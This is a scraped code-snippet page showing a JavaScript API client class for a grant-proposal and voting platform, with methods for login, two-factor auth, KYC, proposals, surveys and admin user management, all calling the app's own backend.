Best JavaScript code snippet using wpt
API.js
Source:API.js
...77 const params = {78 email,79 password,80 };81 return sendRequest("/login", params, "POST");82 }83 // Register84 static register(params) {85 return sendRequest("/register", params, "POST");86 }87 // Reset Password88 static resetPassword(params) {89 return sendRequest("/reset-password", params, "POST");90 }91 // Send Reset Email92 static sendResetEmail(email) {93 const params = {94 email,95 };96 return sendRequest("/send-reset-email", params, "POST");97 }98 // Resend Code99 static resendCode() {100 return sendRequest("/resend-code", {}, "POST", true);101 }102 static createTopic(params) {103 return sendRequest("/user/discourse/topics", params, "POST", true);104 }105 static updateTopic(id, params) {106 return sendRequest(`/user/discourse/topics/${id}`, params, "PUT", true);107 }108 static getTopic(id) {109 return sendRequest(`/user/discourse/topics/${id}`, {}, "GET", true);110 }111 static getTopics(page = 0) {112 return sendRequest("/user/discourse/topics", { page }, "GET", true);113 }114 // Get Topic Posts115 static getPosts(id, postIds = []) {116 return sendRequest(117 `/user/discourse/topics/${id}/posts`,118 { post_ids: postIds },119 "GET",120 true121 );122 }123 // Get Topic Post124 static getPost(id) {125 return sendRequest(`/posts/${id}`, {}, "GET", true);126 }127 // Show Topic Post128 static showPost(id) {129 return sendRequest(`/user/discourse/posts/${id}`, {}, "GET", true);130 }131 // Get Post Replies132 static getPostReplies(id) {133 return sendRequest(`/user/discourse/posts/${id}/replies`, {}, "GET", true);134 }135 // Submit Post136 static submitPost(id, params = {}) {137 return sendRequest(138 `/user/discourse/topics/${id}/posts`,139 params,140 "POST",141 true142 );143 }144 // Update Post145 static updatePost(id, params = {}) {146 return sendRequest(`/user/discourse/posts/${id}`, params, "PUT", true);147 }148 // Destroy Post149 static destroyPost(id) {150 return sendRequest(`/user/discourse/posts/${id}`, {}, "DELETE", true);151 }152 // Flag Topic153 static flagTopic(id, params) {154 return sendRequest(155 `/user/discourse/topics/${id}/flag`,156 params,157 "POST",158 true159 );160 }161 // Read Topic162 static readTopic(id) {163 return sendRequest(`/user/discourse/topics/${id}/readed`, {}, "PUT", true);164 }165 // Like or Unlike Post166 static reactPost(id) {167 return sendRequest(`/user/discourse/posts/${id}/react`, {}, "PUT", true);168 }169 // Create Sponsor Code170 static createSponsorCode() {171 return sendRequest("/user/sponsor-code", {}, "POST", true);172 }173 // Check Sponsor Code - Associate174 static checkSponsorCode(code) {175 return sendRequest("/user/check-sponsor-code", { code }, "POST", true);176 }177 // Revoke Sponsor Code178 static revokeSponsorCode(codeId) {179 return sendRequest(`/user/sponsor-code/${codeId}`, {}, "DELETE", true);180 }181 // Get Sponsor Codes182 static getSponsorCodes(params = {}) {183 return sendRequest("/user/sponsor-codes", params, "GET", true);184 }185 // Post Help186 static postHelp(text) {187 return sendRequest("/user/help", { text }, "POST", true);188 }189 // Start Guest190 static startGuest(params) {191 return sendRequest("/start-guest", params, "POST");192 }193 // Enable 2FA Login194 static enable2FALogin() {195 return sendRequest("/shared/enable-2fa-login", {}, "POST", true);196 }197 // Disable 2FA Login198 static disable2FALogin() {199 return sendRequest("/shared/disable-2fa-login", {}, "POST", true);200 }201 // Check Login 2FA202 static checkLogin2FA(code) {203 return sendRequest("/shared/check-login-2fa", { code }, "POST", true);204 }205 // Generate 2FA206 static generate2FA(params = {}) {207 return sendRequest("/shared/generate-2fa", params, "POST", true);208 }209 // Check 2FA210 static check2FA(code) {211 return sendRequest("/shared/check-2fa", { code }, "POST", true);212 }213 // Check Proposal Id214 static checkProposalId(proposalId) {215 return sendRequest("/shared/check-proposal", { proposalId }, "POST", true);216 }217 // Send Hellosign Request218 static sendHellosignRequest(params) {219 return sendRequest("/user/hellosign-request", params, "POST", true);220 }221 // Send Hellosign Request222 static sendCheckSystemRequest(params) {223 return sendRequest("/user/associate-agreement", params, "POST", true);224 }225 // Get Myself226 static getMe() {227 return sendRequest("/me", {}, "GET", true);228 }229 // Verify Code230 static verifyCode(code) {231 const params = { code };232 return sendRequest("/verify-code", params, "POST", true);233 }234 // Complete Review Step2235 static completeStepReview2(params) {236 return sendRequest("/complete-step-review2", params, "POST", true);237 }238 // Save Shuftipro Temp - User239 static saveShuftiproTemp(params) {240 return sendRequest("/user/shuftipro-temp", params, "POST", true);241 }242 // Update Shuftipro Temp - User243 static updateShuftiproTemp(params) {244 return sendRequest("/user/shuftipro-temp", params, "PUT", true);245 }246 // Stake CC - User247 static stakeCC(proposalId, params) {248 return sendRequest(249 `/user/payment-proposal/${proposalId}/stake-cc`,250 params,251 "PUT",252 true253 );254 }255 // Stake Reputation - User256 static stakeReputation(proposalId, params) {257 return sendRequest(258 `/user/payment-proposal/${proposalId}/stake-reputation`,259 params,260 "PUT",261 true262 );263 }264 // Create Payment Intent - User265 static createPaymentIntent(proposalId, params = {}) {266 return sendRequest(267 `/user/payment-proposal/${proposalId}/payment-intent`,268 params,269 "PUT",270 true271 );272 }273 static downloadReport(params = {}) {274 return sendRequest(`/admin/export-report`, params, "GET", true, "blob");275 }276 // Create Payment Intent - User277 static getReportOnboarding(params = {}) {278 return sendRequest(`/admin/report-onboarding`, params, "GET", true);279 }280 // Create Payment Intent - User281 static getReportReputation(params = {}) {282 return sendRequest(`/admin/report-reputation`, params, "GET", true);283 }284 // Create Payment Intent - User285 static getReportTotalRep(params = {}) {286 return sendRequest(`/admin/report-total-rep`, params, "GET", true);287 }288 // Update Payment Proposal - User289 static updatePaymentProposal(proposalId, params = {}) {290 return sendRequest(291 `/user/payment-proposal/${proposalId}`,292 params,293 "PUT",294 true295 );296 }297 // Force Withdraw Proposal - Shared298 static forceWithdrawProposal(proposalId) {299 return sendRequest(300 `/shared/proposal/${proposalId}/force-withdraw`,301 {},302 "PUT",303 true304 );305 }306 // Withdraw Proposal - Shared307 static withdrawProposal(proposalId) {308 return sendRequest(309 `/shared/proposal/${proposalId}/withdraw`,310 {},311 "PUT",312 true313 );314 }315 // Update Simple Proposal - Shared316 static updateSimpleProposalShared(proposalId, params = {}) {317 return sendRequest(318 `/shared/simple-proposal/${proposalId}`,319 params,320 "PUT",321 true322 );323 }324 // Update Proposal - Shared325 static updateProposalShared(proposalId, params = {}) {326 return sendRequest(`/shared/proposal/${proposalId}`, params, "PUT", true);327 }328 // Update Payment Form - User329 static updatePaymentForm(proposalId, params = {}) {330 return sendRequest(331 `/user/proposal/${proposalId}/payment-form`,332 params,333 "PUT",334 true335 );336 }337 // Update Global Settings - Admin338 static updateGlobalSettingsByAdmin(params = {}) {339 return sendRequest(`/admin/global-settings`, params, "PUT", true);340 }341 // Force Approve KYC - User342 static forceApproveKYC() {343 return sendRequest(`/user/force-approve-kyc`, {}, "POST", true);344 }345 // Force Deny KYC - User346 static forceDenyKYC() {347 return sendRequest(`/user/force-deny-kyc`, {}, "POST", true);348 }349 // Approve Pre Register - Admin350 static approvePreRegister(recordId) {351 return sendRequest(352 `/admin/pre-register/${recordId}/approve`,353 {},354 "PUT",355 true356 );357 }358 // Register Admin - Admin359 static registerAdmin(body) {360 return sendRequest(`/register-admin`, body, "POST", true);361 }362 // Deny Pre Register - Admin363 static denyPreRegister(recordId) {364 return sendRequest(`/admin/pre-register/${recordId}/deny`, {}, "PUT", true);365 }366 // Approve KYC - Admin367 static approveKYC(userId) {368 return sendRequest(`/admin/user/${userId}/approve-kyc`, {}, "PUT", true);369 }370 // Deny KYC - Admin371 static denyKYC(userId) {372 return sendRequest(`/admin/user/${userId}/deny-kyc`, {}, "PUT", true);373 }374 // Reset KYC - Admin375 static resetKYC(userId, params) {376 return sendRequest(`/admin/user/${userId}/reset-kyc`, params, "PUT", true);377 }378 // Update Account Info - Shared379 static updateAccountInfo(params = {}) {380 return sendRequest("/shared/account-info", params, "PUT", true);381 }382 // Update Profile Info - Shared383 static updateProfileInfo(params = {}) {384 return sendRequest("/shared/profile-info", params, "PUT", true);385 }386 // Update Profile - Shared387 static updateProfile(params = {}) {388 return sendRequest("/shared/profile", params, "PUT", true);389 }390 // Change Password - Shared391 static changePassword(params = {}) {392 return sendRequest("/shared/change-password", params, "POST", true);393 }394 // Add Emailer Admin - Admin395 static addEmailerAdmin(params = {}) {396 return sendRequest("/admin/add-emailer-admin", params, "POST", true);397 }398 // Update Emailer Trigger Admin399 static updateEmailerTriggerAdmin(id, params) {400 return sendRequest(401 `/admin/emailer-trigger-admin/${id}`,402 params,403 "PUT",404 true405 );406 }407 // Update Eamiler Trigger User408 static updateEmailerTriggerUser(id, params) {409 return sendRequest(410 `/admin/emailer-trigger-user/${id}`,411 params,412 "PUT",413 true414 );415 }416 // Update Emailer Trigger Member417 static updateEmailerTriggerMember(id, params) {418 return sendRequest(419 `/admin/emailer-trigger-member/${id}`,420 params,421 "PUT",422 true423 );424 }425 // Delete Emailer Admin - Admin426 static deleteEmailerAdmin(adminId) {427 return sendRequest(`/admin/emailer-admin/${adminId}`, {}, "DELETE", true);428 }429 // Add Reputation - Admin430 static addReputation(params = {}) {431 return sendRequest("/admin/add-reputation", params, "POST", true);432 }433 // Subtract Reputation - Admin434 static subtractReputation(params = {}) {435 return sendRequest("/admin/subtract-reputation", params, "POST", true);436 }437 // Change User Type - Admin438 static changeUserType(params = {}) {439 return sendRequest("/admin/change-user-type", params, "POST", true);440 }441 // Change User Type - Admin442 static changeUserAML(id, params = {}) {443 return sendRequest(`/admin/user/${id}/kyc-info`, params, "PUT", true);444 }445 // Reset User Password - Admin446 static resetUserPassword(params = {}) {447 return sendRequest("/admin/reset-user-password", params, "POST", true);448 }449 // Submit Milestone - User450 static submitMilestone(params = {}) {451 return sendRequest("/user/milestone", params, "POST", true);452 }453 // Submit Proposal - User454 static submitProposal(params = {}) {455 return sendRequest("/user/proposal", params, "POST", true);456 }457 // Submit Simple Proposal - Voting Associate458 static submitSimpleProposal(params = {}) {459 return sendRequest("/user/simple-proposal", params, "POST", true);460 }461 // Submit Simple Proposal - Voting Associate462 static submitAdminGrantProposal(params = {}) {463 return sendRequest("/user/admin-grant-proposal", params, "POST", true);464 }465 // Submit Simple Proposal - Voting Associate466 static regeneratePDF(proposal_id) {467 return sendRequest(468 `/admin/proposal/${proposal_id}/file-url`,469 {},470 "GET",471 true472 );473 }474 // Submit Proposal Change475 static submitProposalChange(params = {}) {476 return sendRequest("/user/proposal-change", params, "POST", true);477 }478 // Submit Proposal Change Comment479 static submitProposalChangeComment(params = {}) {480 return sendRequest("/user/proposal-change-comment", params, "POST", true);481 }482 // Submit Vote - User483 static submitVote(params = {}) {484 return sendRequest("/user/vote", params, "POST", true);485 }486 // Support UP Proposal Change487 static supportUpProposalChange(proposalChangeId) {488 return sendRequest(489 `/user/proposal-change/${proposalChangeId}/support-up`,490 {},491 "PUT",492 true493 );494 }495 // Support DOWN Proposal Change496 static supportDownProposalChange(proposalChangeId) {497 return sendRequest(498 `/user/proposal-change/${proposalChangeId}/support-down`,499 {},500 "PUT",501 true502 );503 }504 // Approve Proposal Change - User505 static approveProposalChange(proposalChangeId) {506 return sendRequest(507 `/user/proposal-change/${proposalChangeId}/approve`,508 {},509 "PUT",510 true511 );512 }513 // Force Approve Proposal Change - Admin514 static forceApproveProposalChange(proposalChangeId) {515 return sendRequest(516 `/admin/proposal-change/${proposalChangeId}/force-approve`,517 {},518 "PUT",519 true520 );521 }522 // Deny Proposal Change - User523 static denyProposalChange(proposalChangeId) {524 return sendRequest(525 `/user/proposal-change/${proposalChangeId}/deny`,526 {},527 "PUT",528 true529 );530 }531 // Force Deny Proposal Change - Admin532 static forceDenyProposalChange(proposalChangeId) {533 return sendRequest(534 `/admin/proposal-change/${proposalChangeId}/force-deny`,535 {},536 "PUT",537 true538 );539 }540 // Withdraw Proposal Change - User541 static withdrawProposalChange(proposalChangeId) {542 return sendRequest(543 `/user/proposal-change/${proposalChangeId}/withdraw`,544 {},545 "PUT",546 true547 );548 }549 // Force Withdraw Proposal Change - Admin550 static forceWithdrawProposalChange(proposalChangeId) {551 return sendRequest(552 `/admin/proposal-change/${proposalChangeId}/force-withdraw`,553 {},554 "PUT",555 true556 );557 }558 // Start Formal Milestone Voting - Admin559 static startFormalMilestoneVoting(proposalId, voteId) {560 return sendRequest(561 "/admin/formal-milestone-voting",562 { proposalId, voteId },563 "POST",564 true565 );566 }567 // Start Formal Milestone Voting - Admin568 static startFormalMilestoneVotingUser(proposalId, voteId) {569 return sendRequest(570 `/user/proposal/${proposalId}/formal-milestone-voting`,571 { voteId },572 "POST",573 true574 );575 }576 // Start Formal Voting - Admin577 static startFormalVoting(proposalId, force) {578 return sendRequest(579 "/admin/formal-voting",580 { proposalId, force },581 "POST",582 true583 );584 }585 // Start Formal Voting - Admin586 static checkUserActiveGrant() {587 return sendRequest("/user/check-active-grant", {}, "POST", true);588 }589 // Start Informal Voting - Shared590 static startInformalVotingShared(proposalId) {591 return sendRequest("/shared/informal-voting", { proposalId }, "POST", true);592 }593 // Start Formal Voting - Shared594 static startFormalVotingShared(proposalId) {595 return sendRequest("/shared/formal-voting", { proposalId }, "POST", true);596 }597 // Restart Voting - Shared598 static restartVoting(voteId) {599 return sendRequest("/shared/restart-voting", { voteId }, "POST", true);600 }601 // Activate Associate to Voting Associate602 static activateParticipant(userId) {603 return sendRequest(604 `/admin/participant/${userId}/activate`,605 {},606 "PUT",607 true608 );609 }610 // Deny Associate - Admin611 static denyParticipant(userId) {612 return sendRequest(`/admin/participant/${userId}/deny`, {}, "PUT", true);613 }614 // Allow Access User - Admin615 static allowAccessUser(userId) {616 return sendRequest(`/admin/user/${userId}/allow-access`, {}, "PUT", true);617 }618 // Allow Access User - Admin619 static getMetrics() {620 return sendRequest(`/admin/metrics`, {}, "GET", true);621 }622 // Deny Access User - Admin623 static denyAccessUser(userId) {624 return sendRequest(`/admin/user/${userId}/deny-access`, {}, "PUT", true);625 }626 // Ban User - Admin627 static banUser(userId) {628 return sendRequest(`/admin/user/${userId}/ban`, {}, "PUT", true);629 }630 // Unban User - Admin631 static unbanUser(userId) {632 return sendRequest(`/admin/user/${userId}/unban`, {}, "PUT", true);633 }634 // Approve Proposal Payment - Admin635 static approveProposalPayment(proposalId) {636 return sendRequest(637 `/admin/proposal/${proposalId}/approve-payment`,638 {},639 "PUT",640 true641 );642 }643 // Deny Proposal Payment - Admin644 static denyProposalPayment(proposalId) {645 return sendRequest(646 `/admin/proposal/${proposalId}/deny-payment`,647 {},648 "PUT",649 true650 );651 }652 // Approve Proposal653 static approveProposal(proposalId) {654 return sendRequest(655 `/admin/proposal/${proposalId}/approve`,656 {},657 "PUT",658 true659 );660 }661 // Deny Proposal662 static denyProposal(proposalId, reason) {663 return sendRequest(664 `/admin/proposal/${proposalId}/deny`,665 { reason },666 "PUT",667 true668 );669 }670 // Get Global Settings - Shared671 static getGlobalSettings() {672 return sendRequest(`/shared/global-settings`, {}, "GET", true);673 }674 // Get Global Settings - Shared - Public675 static getPublicGlobalSettings() {676 return sendRequest(`/shared/public/global-settings`, {}, "GET", true);677 }678 // Get Proposal Changes - Shared679 static getProposalChanges(proposalId) {680 return sendRequest(681 `/shared/proposal/${proposalId}/changes`,682 {},683 "GET",684 true685 );686 }687 // Get Proposal Changes - Shared688 static getPublicProposalChanges(proposalId) {689 return sendRequest(690 `/shared/public/proposals/${proposalId}/changes`,691 {},692 "GET",693 true694 );695 }696 // GET Proposal Change Comments - Shared697 static getProposalChangeComments(proposalId, proposalChangeId) {698 return sendRequest(699 `/shared/proposal/${proposalId}/change/${proposalChangeId}/comments`,700 {},701 "GET",702 true703 );704 }705 // Get Reputation Track - User706 static getReputationTrack(params = {}) {707 return sendRequest("/user/reputation-track", params, "GET", true);708 }709 // Get Active Proposals - User710 static getActiveProposals(params = {}) {711 return sendRequest("/user/active-proposals", params, "GET", true);712 }713 // Get Active Proposals - User714 static getNotSubmitMilestones(proposalId) {715 return sendRequest(716 `/user/proposal/${proposalId}/milestone-not-submit`,717 {},718 "GET",719 true720 );721 }722 // Get Emailer Data - Admin723 static getEmailerData() {724 return sendRequest("/admin/emailer-data", {}, "GET", true);725 }726 // Get Move-to-Formal Votes - Admin727 static getMoveToFormalVotes(params = {}) {728 return sendRequest("/admin/move-to-formal-votes", params, "GET", true);729 }730 // Get Completed Votes - Shared731 static getCompletedVotes(params = {}) {732 return sendRequest("/shared/completed-votes", params, "GET", true);733 }734 // Get Active Informal Votes - Shared735 static getActiveInformalVotes(params = {}) {736 return sendRequest("/shared/active-informal-votes", params, "GET", true);737 }738 // Get Active Formal Votes - Shared739 static getActiveFormalVotes(params = {}) {740 return sendRequest("/shared/active-formal-votes", params, "GET", true);741 }742 // Get Active Discussions - Shared743 static getActiveDiscussions(params = {}) {744 return sendRequest("/shared/active-discussions", params, "GET", true);745 }746 // Get Completed Discussions - Shared747 static getCompletedDiscussions(params = {}) {748 return sendRequest("/shared/completed-discussions", params, "GET", true);749 }750 // Get My Payment Waiting Proposals By User751 static getMyPaymentProposals() {752 return sendRequest("/user/my-payment-proposals", {}, "GET", true);753 }754 // Get Single Proposal Change - Shared755 static getProposalChangeById(proposalId, proposalChangeId) {756 return sendRequest(757 `/shared/proposal/${proposalId}/change/${proposalChangeId}`,758 {},759 "GET",760 true761 );762 }763 // Get Grants - Shared764 static getGrantsShared(params = {}) {765 return sendRequest("/shared/grants", params, "GET", true);766 }767 // Get Active Proposals - Shared768 static getActiveProposalsShared(params = {}) {769 return sendRequest("/shared/active-proposals", params, "GET", true);770 }771 // Get All Proposals - Shared772 static getAllProposalsShared(params = {}) {773 return sendRequest("/shared/all-proposals", params, "GET", true);774 }775 // Get All Proposals - Shared - Public776 static getAllPublicProposalsShared(params = {}) {777 return sendRequest("/shared/all-proposals-2", params, "GET", true);778 }779 // Get All Proposals - Shared - Public780 static getAllPublicMilestonesShared(params = {}) {781 return sendRequest("/shared/public/all-milestones", params, "GET", true);782 }783 // Get Completed Proposals - Shared784 static getCompletedProposalsShared(params = {}) {785 return sendRequest("/shared/completed-proposals", params, "GET", true);786 }787 // Get Reputation By User - Admin788 static getReputationByUser(userId, params = {}) {789 return sendRequest(`/admin/user/${userId}/reputation`, params, "GET", true);790 }791 // Get All Proposals By User - Admin792 static getProposalsByUser(userId, params = {}) {793 return sendRequest(`/admin/user/${userId}/proposals`, params, "GET", true);794 }795 // Get All Votes By User - Admin796 static getVotesByUser(userId, params = {}) {797 return sendRequest(`/admin/user/${userId}/votes`, params, "GET", true);798 }799 // Get Pending Proposals - Shared800 static getPendingProposals(params = {}) {801 return sendRequest("/shared/pending-proposals", params, "GET", true);802 }803 // Get Onboardings - User804 static getOnboardings(params = {}) {805 return sendRequest("/user/onboardings", params, "GET", true);806 }807 // Get Pending Voting Associate Onboardings - Admin808 static getPendingMemberOnboardings(params = {}) {809 return sendRequest(810 "/admin/pending-member-onboardings",811 params,812 "GET",813 true814 );815 }816 // Get Pending Grant Onboardings - Admin817 static getPendingGrantOnboardings(params = {}) {818 return sendRequest("/admin/pending-grant-onboardings", params, "GET", true);819 }820 // Get Pending Users By Admin821 static getPendingUsersByAdmin(params = {}) {822 return sendRequest("/admin/pending-users", params, "GET", true);823 }824 // Get Pre Register Users By Admin825 static getPreRegisterUsersByAdmin(params = {}) {826 return sendRequest("/admin/pre-register-users", params, "GET", true);827 }828 // Get Pre Register User By Hash829 static getPreRegisterUserByHash(hash) {830 return sendRequest("/pre-register-user", { hash }, "GET");831 }832 // Get Users By Admin833 static getUsersByAdmin(params = {}) {834 return sendRequest("/admin/users", params, "GET", true);835 }836 // Get Single User - Admin837 static getSingleUserByAdmin(userId) {838 return sendRequest(`/admin/user/${userId}`, {}, "GET", true);839 }840 // Get Single User - Shared841 static dismissNewMemberAlert() {842 return sendRequest(`/user/press-dismiss`, {}, "POST", true);843 }844 // POST dismiss first completed proposal - Shared845 static dismissFirstCompletedGrantAlert() {846 return sendRequest(847 `/user/check-first-completed-proposal`,848 {},849 "POST",850 true851 );852 }853 // Get Single Proposal - Shared854 static getSingleProposal(proposalId) {855 return sendRequest(`/shared/proposal/${proposalId}`, {}, "GET", true);856 }857 // Get VA not Vote - Admin858 static getVAsNotVote(voteId) {859 return sendRequest(860 `/admin/vote/${voteId}/user-not-vote?limit=999`,861 {},862 "GET",863 true864 );865 }866 // Get Single Proposal - Shared867 static getPublicProposal(proposalId) {868 return sendRequest(869 `/shared/all-proposals-2/${proposalId}`,870 {},871 "GET",872 true873 );874 }875 // Get Single Proposal for Edit - Shared876 static getSingleProposalEdit(proposalId) {877 return sendRequest(`/shared/proposal/${proposalId}/edit`, {}, "GET", true);878 }879 // Activate Grant - Admin880 static activateGrant(grantId, formData) {881 const userData = Helper.fetchUser();882 const accessToken = userData.accessTokenAPI || "";883 const headers = {884 "Content-Type": "application/json",885 Authorization: `Bearer ${accessToken}`,886 };887 return new Promise((resolve) => {888 axios889 .post(890 process.env.REACT_APP_BACKEND_URL +891 `api/admin/grant/${grantId}/activate`,892 formData,893 {894 headers,895 }896 )897 .then((res) => {898 if (res.data) {899 let data = res.data;900 if (!data.success && !data.message) {901 data = {902 ...data,903 message: "Please try again later",904 };905 }906 resolve(data);907 } else {908 resolve({909 success: false,910 message: "Please try again later",911 });912 }913 })914 .catch(() => {915 resolve({916 success: false,917 message: "Please try again later",918 });919 });920 });921 }922 static beginGrant(grantId) {923 const userData = Helper.fetchUser();924 const accessToken = userData.accessTokenAPI || "";925 const headers = {926 "Content-Type": "application/json",927 Authorization: `Bearer ${accessToken}`,928 };929 return new Promise((resolve) => {930 axios931 .post(932 process.env.REACT_APP_BACKEND_URL +933 `api/admin/grant/${grantId}/begin`,934 {},935 {936 headers,937 }938 )939 .then((res) => {940 if (res.data) {941 let data = res.data;942 if (!data.success && !data.message) {943 data = {944 ...data,945 message: "Please try again later",946 };947 }948 resolve(data);949 } else {950 resolve({951 success: false,952 message: "Please try again later",953 });954 }955 })956 .catch(() => {957 resolve({958 success: false,959 message: "Please try again later",960 });961 });962 });963 }964 // Remind HellosignGrant965 static remindHellosignGrant(grantId) {966 return sendRequest(`/admin/grant/${grantId}/remind`, {}, "POST", true);967 }968 // Cancel HellosignGrant969 static resendHellosignGrant(grantId) {970 return sendRequest(`/admin/grant/${grantId}/resend`, {}, "POST", true);971 }972 // Activate Grant - Admin973 static viewSignedGrant(grantId) {974 return sendRequest(`/admin/grant/${grantId}/file-url`, {}, "GET", true);975 }976 // Milestone Review - Admin977 static getReviewMilestones(params = {}) {978 return sendRequest(`/admin/milestone-reviews`, params, "GET", true);979 }980 // Milestone Review - Admin981 static getVADirectory(params = {}) {982 return sendRequest(`/user/list-va`, params, "GET", true);983 }984 // getActiveSurveys - Admin985 static getSurveys(params = {}) {986 return sendRequest(`/admin/survey`, params, "GET", true);987 }988 // getActiveSurveys - Admin989 static getUserSurveys(params = {}) {990 return sendRequest(`/user/survey`, params, "GET", true);991 }992 // getActiveSurveys - Admin993 static getWinners(params = {}) {994 return sendRequest(`/admin/survey/win`, params, "GET", true);995 }996 // getActiveSurveys - Admin997 static approveDownVote(params = {}) {998 return sendRequest(`/admin/survey/approve-downvote`, params, "POST", true);999 }1000 // getActiveSurveys - Admin1001 static getLosers(params = {}) {1002 return sendRequest(`/admin/survey/downvote`, params, "GET", true);1003 }1004 // getSurveyVotes - Admin1005 static getSurveyVotes(id, params) {1006 return sendRequest(`/admin/survey/${id}/discussions`, params, "GET", true);1007 }1008 // getSurveyVotes - Admin1009 static getRFPSurveyVotes(id, params) {1010 return sendRequest(`/admin/survey-rfp/${id}/result`, params, "GET", true);1011 }1012 // getSurveyDownvotes - Admin1013 static getSurveyDownvotes(id, params) {1014 return sendRequest(1015 `/admin/survey/${id}/downvote/discussions`,1016 params,1017 "GET",1018 true1019 );1020 }1021 // getSurveyEmailVoter - Admin1022 static getSurveyEmailVoter(id, params) {1023 return sendRequest(`/admin/survey/${id}/vote`, params, "GET", true);1024 }1025 // getSurveyVoters - Admin1026 static getSurveyVoters(id, params) {1027 return sendRequest(`/admin/survey/${id}/user-vote`, params, "GET", true);1028 }1029 // getSurveyVoters - Admin1030 static getRFPSurveyVoters(id, params) {1031 return sendRequest(1032 `/admin/survey-rfp/${id}/user-vote`,1033 params,1034 "GET",1035 true1036 );1037 }1038 // getVoterResponse - Admin1039 static getVoterResponse(id, userId, params) {1040 return sendRequest(1041 `/admin/survey/${id}/user-vote/${userId}`,1042 params,1043 "GET",1044 true1045 );1046 }1047 static getVoterBidResponse(id, userId, params) {1048 return sendRequest(1049 `/admin/survey-rfp/${id}/user-vote/${userId}`,1050 params,1051 "GET",1052 true1053 );1054 }1055 // getUserNotVoteSurvey - Admin1056 static getUserNotVoteSurvey(id, params) {1057 return sendRequest(1058 `/admin/survey/${id}/user-not-submit`,1059 params,1060 "GET",1061 true1062 );1063 }1064 // getUserNotVoteSurvey - Admin1065 static getUserNotVoteRFPSurvey(id, params) {1066 return sendRequest(1067 `/admin/survey-rfp/${id}/user-not-submit`,1068 params,1069 "GET",1070 true1071 );1072 }1073 static getSurveyDetail(id) {1074 return sendRequest(`/admin/survey/${id}`, {}, "GET", true);1075 }1076 // GetSurveyDetail - Admin1077 static getUserSurveyDetail(id) {1078 return sendRequest(`/user/survey/${id}`, {}, "GET", true);1079 }1080 // sendReminderForSurvey - Admin1081 static sendReminderForSurvey(id) {1082 return sendRequest(`/admin/survey/${id}/send-reminder`, {}, "POST", true);1083 }1084 // sendReminderForSurvey - Admin1085 static sendReminderForRFPSurvey(id) {1086 return sendRequest(1087 `/admin/survey-rfp/${id}/send-reminder`,1088 {},1089 "POST",1090 true1091 );1092 }1093 // cancelSurvey - Admin1094 static cancelSurvey(id) {1095 return sendRequest(`/admin/survey/${id}/cancel`, {}, "POST", true);1096 }1097 // Milestone Logs - Admin1098 static getMilestoneLogs(milestoneId, params = {}) {1099 return sendRequest(1100 `/admin/milestone/${milestoneId}/log`,1101 params,1102 "GET",1103 true1104 );1105 }1106 // Milestone Review - Admin1107 static getAllMilestones(params = {}) {1108 return sendRequest(`/admin/milestone-all`, params, "GET", true);1109 }1110 // Get Teams - Admin1111 static getAdminTeams(params = {}) {1112 return sendRequest(`/admin/teams`, params, "GET", true);1113 }1114 // Get Teams - Admin1115 static getDosFee(params = {}) {1116 return sendRequest(`/admin/dos-fee`, params, "GET", true);1117 }1118 // Milestone Review - Admin1119 static getAllOPMilestones(params = {}) {1120 return sendRequest(`/admin/milestone-user`, params, "GET", true);1121 }1122 static getShuftiStatus(params = {}) {1123 return sendRequest(`/user/shuftipro-status`, params, "GET", true);1124 }1125 // Milestone Review - Admin1126 static checkMasterPassword(params = {}) {1127 return sendRequest(`/admin/verify/master-password`, params, "POST", true);1128 }1129 // Change Admin Permission - Admin1130 static changeAdminPermission({ id, permissions }) {1131 return sendRequest(1132 `/admin/teams/${id}/change-permissions`,1133 permissions,1134 "PUT",1135 true1136 );1137 }1138 // resetPasswordAdmin - Admin1139 static resetPasswordAdmin({ id }) {1140 return sendRequest(`/admin/teams/${id}/reset-password`, {}, "POST", true);1141 }1142 // resendInvitedEmail - Admin1143 static resendInvitedEmail({ id }) {1144 return sendRequest(`/admin/teams/${id}/re-invite`, {}, "POST", true);1145 }1146 // Revoke Admin - Admin1147 static revokeAdmin({ id }) {1148 return sendRequest(`/admin/teams/${id}/revoke`, {}, "POST", true);1149 }1150 // Undo Revoke Admin - Admin1151 static undoRevokeAdmin({ id }) {1152 return sendRequest(`/admin/teams/${id}/undo-revoke`, {}, "POST", true);1153 }1154 // getProposalDrafts - User1155 static getProposalDrafts(params = {}) {1156 return sendRequest(`/user/proposal-draft`, params, "GET", true);1157 }1158 // Save proposal draft - User1159 static createProposalDraft(body = {}) {1160 return sendRequest(`/user/proposal-draft`, body, "POST", true);1161 }1162 // Save proposal draft - User1163 static getProposalDraftDetail(id) {1164 return sendRequest(`/user/proposal-draft/${id}`, {}, "GET", true);1165 }1166 // Delete proposal draft - User1167 static deleteProposalDraft(id) {1168 return sendRequest(`/user/proposal-draft/${id}`, {}, "DELETE", true);1169 }1170 // Milestone Review - Admin1171 static downloadCSVMilestones(params = {}) {1172 return sendRequest(1173 `/admin/milestone/export-csv`,1174 params,1175 "GET",1176 true,1177 "blob"1178 );1179 }1180 // Accounting - Admin1181 static downloadCSVAccounting(params = {}) {1182 return sendRequest(1183 `/admin/dos-fee/export-csv`,1184 params,1185 "GET",1186 true,1187 "blob"1188 );1189 }1190 // Rep - User1191 static downloadCSVMyRep(params = {}) {1192 return sendRequest(1193 `/user/reputation-track/export-csv`,1194 params,1195 "GET",1196 true,1197 "blob"1198 );1199 }1200 // Rep - User1201 static postRepDailyCsv(params = {}) {1202 return sendRequest(`/user/reputation-daily-csv`, params, "POST", true);1203 }1204 // send KYC1205 static sendKycKangaroo(params = {}) {1206 return sendRequest(`/user/send-kyc-kangaroo`, params, "POST", true);1207 }1208 // send KYC1209 static dismissStartKyc(params = {}) {1210 return sendRequest(`/user/check-send-kyc`, params, "POST", true);1211 }1212 // resend KYC - User1213 static resendKycKangaroo(params = {}) {1214 return sendRequest(`/shared/resend-kyc-kangaroo`, params, "POST", true);1215 }1216 // resend KYC - User1217 static sendKycKangarooByAdmin(params = {}) {1218 return sendRequest(`/admin/send-kyc-kangaroo`, params, "POST", true);1219 }1220 // Rep - User1221 static getTimelineProposal(proposalId, params = {}) {1222 return sendRequest(1223 `/shared/proposal/${proposalId}/trackings`,1224 params,1225 "GET",1226 true1227 );1228 }1229 // Rep - User1230 static resendComplianceReview(params = {}) {1231 return sendRequest(`/admin/resend-compliance-review`, params, "POST", true);1232 }1233 static saveUnvotedInformal(params = {}) {1234 return sendRequest(`/user/show-unvoted-informal`, params, "PUT", true);1235 }1236 static saveUnvotedFormal(params = {}) {1237 return sendRequest(`/user/show-unvoted-formal`, params, "PUT", true);1238 }1239 // Rep - User1240 static approveComplianceReview(params = {}) {1241 return sendRequest(`/compliance-review/approve`, params, "POST", true);1242 